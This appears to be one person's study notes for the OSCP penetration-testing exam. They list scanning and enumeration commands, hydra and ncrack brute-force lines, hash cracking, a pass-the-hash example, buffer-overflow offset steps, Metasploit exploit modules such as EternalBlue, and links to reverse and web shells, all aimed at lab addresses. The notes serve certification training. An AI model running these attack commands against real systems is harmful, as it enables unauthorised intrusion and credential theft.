Penetration Testing Tools
Penetration Testing Tools
Penetration Testing Tools
Scanning
● masscan & http screenshot - quickly scan target and screenshot all directories
o masscan -p0-65535 <ip> --rate 150000 -oL output.txt
o idk why neither one will work
● Dirbuster - http/https directory traversal
● Brup Suite - http/https scanning, parameter injection(LFI&RFI), session, XXS
● Nikto - slow slow slow
● Peeping Tom - web
Port/Service Enumeration
● Enum4linux -a
● nbtscan -r <ip-range>
● nbtscan-unixwiz -f <ip-range>
● nmap -p --script=smb-os-discovery.nse <ip>
FTP
Telnet
● nmap -p 23 --script=telnet-ntlm-info.nse
● potentially bruteforce or no auth
SMB
● nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
SSH
● Best just to scan for versions that are vulnerable… often pretty secure (except p1)
●
● Vulnerable Versions: 7.2p1,
SMNP
● https://github.com/drwetter/testssl.sh.git
● ./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
VNC
● vnc-title
POP3
Unknown ports
HTTP/HTTPS Vulnerabilities
● nikto -h <ip>
● searching
Brute forcing Directories
● dirbuster
WordPress/Jumla Web/PHP/Redis Applications
●
Ngnix/Apache/Tomcat Web Hosting
●
Directory Traversal
●
Parameter Injection - pg 258
●
RFI - 243
●
LFI - 236
●
Cross Site Scripting - 228
● <script>alert(“XSS”)</script>
Database Analysis - 245
●
Password Brute Forcing
hash-identifier - to identify the has you are trying to crack with john
● Ncrack
o ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.35
● Hydra
o hydra -l root -P password-file.txt 10.11.1.219 ssh
o hydra -P password-file.txt -v 10.11.1.219 snmp
o hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V
● Cracking Hashes
o john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
o
● Passing the Hash
o export
SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A656
1896
o pth-winexe -U administrator% //10.11.01.76 cmd
fcrackzip for files
Exploit Development
● NVD - search patches, cve, and applications for cve details, has patch info, similar Mitre
● Mitre - cve info
● http://www.securityfocus.com/bid - search for vulnerabilities by cve or version
● https://www.rapid7.com/db/vulnerabilities - “search” command 1800 exploits
● https://www.exploit-db.com/ - “searchsploit” command 38147 exploits
● searchsploit --colour -t php 5 | grep -vi '/dos/\|\.php[^$]' | grep -i '5\.\(5\|x\)' - searching for 5.x and 5.5
exploits for “php”
● https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
●
Simon Owens
Framework
● Metasploit
● Routersploit – embedded devices
Windows compiler
● i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o 646.exe
● wine 646.exe 10.11.12.65
Linux compiler
● gcc -m32 exploit.c -o exploit
Bad Interpreter
dos2unix my-script.pl
Simon Owens
Make all arrays 1 bigger than the bytes you will store for \0
memset everything to \0
strcpy bytes
strcat(nops, “\x90”);
● pyinstaller script.py -F
● cd dist/
Finding EIP
● crash="\x41" * 4379
● /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4379
● /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4379
● -q 46367046
Creating Reverse Shells
Sometimes your exploits will be too big to run in memory to do a file transfer. use “upx -9
<file>” to compress files for file transfer. Use “https://github.com/reider-roque/pentest-
tools/tree/master/shells” for various shells. If you are able to inject a file on their web sever, use
“https://github.com/Pashkela/Cfm_Shell_v3.0_edition/blob/master/shell.cfm”
● Staging
msfconsole > use exploit/multi/handler
Windows XP
Important: If you are a member of the Administrators group, run the commands from a command
prompt. To start a command prompt, find the icon or Start menu entry that you use to start a command
prompt session.
ADDING ADMINISTRATORS
Simon Owens
● dir /s *foo*
Admin -> system
●
File Transfer
● https://www.quora.com/How-can-I-tell-what-version-of-Windows-is-installed-on-a-hard-drive-
without-booting-it
●
Stego
● md5sum picture.jpg
● steghide extract -sf picture.jpg
Network Capture
● Wireshark
Common Exploits
Windows Vista
use exploit/windows/smb/ms09_060_smb2_negotiate_func_index
Windows XP
Simon Owens
use exploit/windows/smb/ms08_067_netapi
Windows 2k/2003
use exploit/windows/smb/ms08_067_netapi
Windows 7
use exploit/windows/local/bypassuac
use exploit/windows/smb/ms09_060_smb2_negotiate_func_index
Telnet
SMB
exploit/windows/smb/ms17_010_eternalblue (windows)
FTP Commands
ftp machinename
At times you may wish to copy files from a remote machine on which you do not have a
loginname. This can be done using anonymous FTP. When the remote machine asks for your
loginname, you should type in the word anonymous. Instead of a password, you should enter
your own electronic mail address. This allows the remote site to keep records of the anonymous
FTP requests. Once you have been logged in, you are in the anonymous directory for the
remote machine. This usually contains a number of public files and directories. Again you should
be able to move around in these directories. However, you are only able to copy the files from
the remote machine to your own local machine; you are not able to write on the remote
machine or to delete any files there
Simon Owens
SMB Commands
smbclient -L zimmerman
https://www.youtube.com/watch?v=1S0aBV-Waeo
Penetration Walkthroughs
https://forums.offensive-security.com/showthread.php?t=4689
https://highon.coffee/blog/walkthroughs/
Simon Owens
https://www.youtube.com/watch?v=1-a-P1Q2AnA
Vulnerable VMs
https://www.vulnhub.com/
https://github.com/rapid7/metasploitable3/tree/master/iso
https://community.rapid7.com/community/metasploit/blog/2012/06/12/introducing-metasploitable-2
https://www.hackthebox.eu/
Vulnerable Web
http://www.dvwa.co.uk/
https://github.com/OWASP/OWASP-VWAD
Tutorials
https://www.fuzzysecurity.com/tutorials.html
https://www.root-me.org/?lang=en
Useful Blogs
https://blog.g0tmi1k.com/
Cheat Sheet
https://highon.coffee/blog/lfi-cheat-sheet/
https://highon.coffee/blog/reverse-shell-cheat-sheet/
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/
https://highon.coffee/blog/linux-commands-cheat-sheet/
HTTP
uniscan -u http://192.168.1.202/ -qd
Exam Restrictions
You cannot use any of the following on the exam:
● Spoofing (IP, ARP, DNS, NBNS, etc)
● Commercial tools or services (Metasploit Pro, Burp Pro, etc.)
● Automatic exploitation tools (e.g. db_autopwn, browser_autopwn, SQLmap, SQLninja etc.)
● Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core Impact,
SAINT, etc.)
● Features in other tools that utilize either forbidden or restricted exam limitations
Any tools that perform similar functions as those above are also prohibited.
You are ultimately responsible for knowing what features or external utilities any chosen tool is using.
The primary objective of the OSCP exam is to evaluate your skills in identifying and exploiting
vulnerabilities, not in automating the process.
You may however, use tools such as Nmap (and its scripting engine), Nikto, Burp Free, DirBuster etc.
against any of your target systems.
Please note that we will not comment on allowed or restricted tools, other than what is included inside
this exam guide.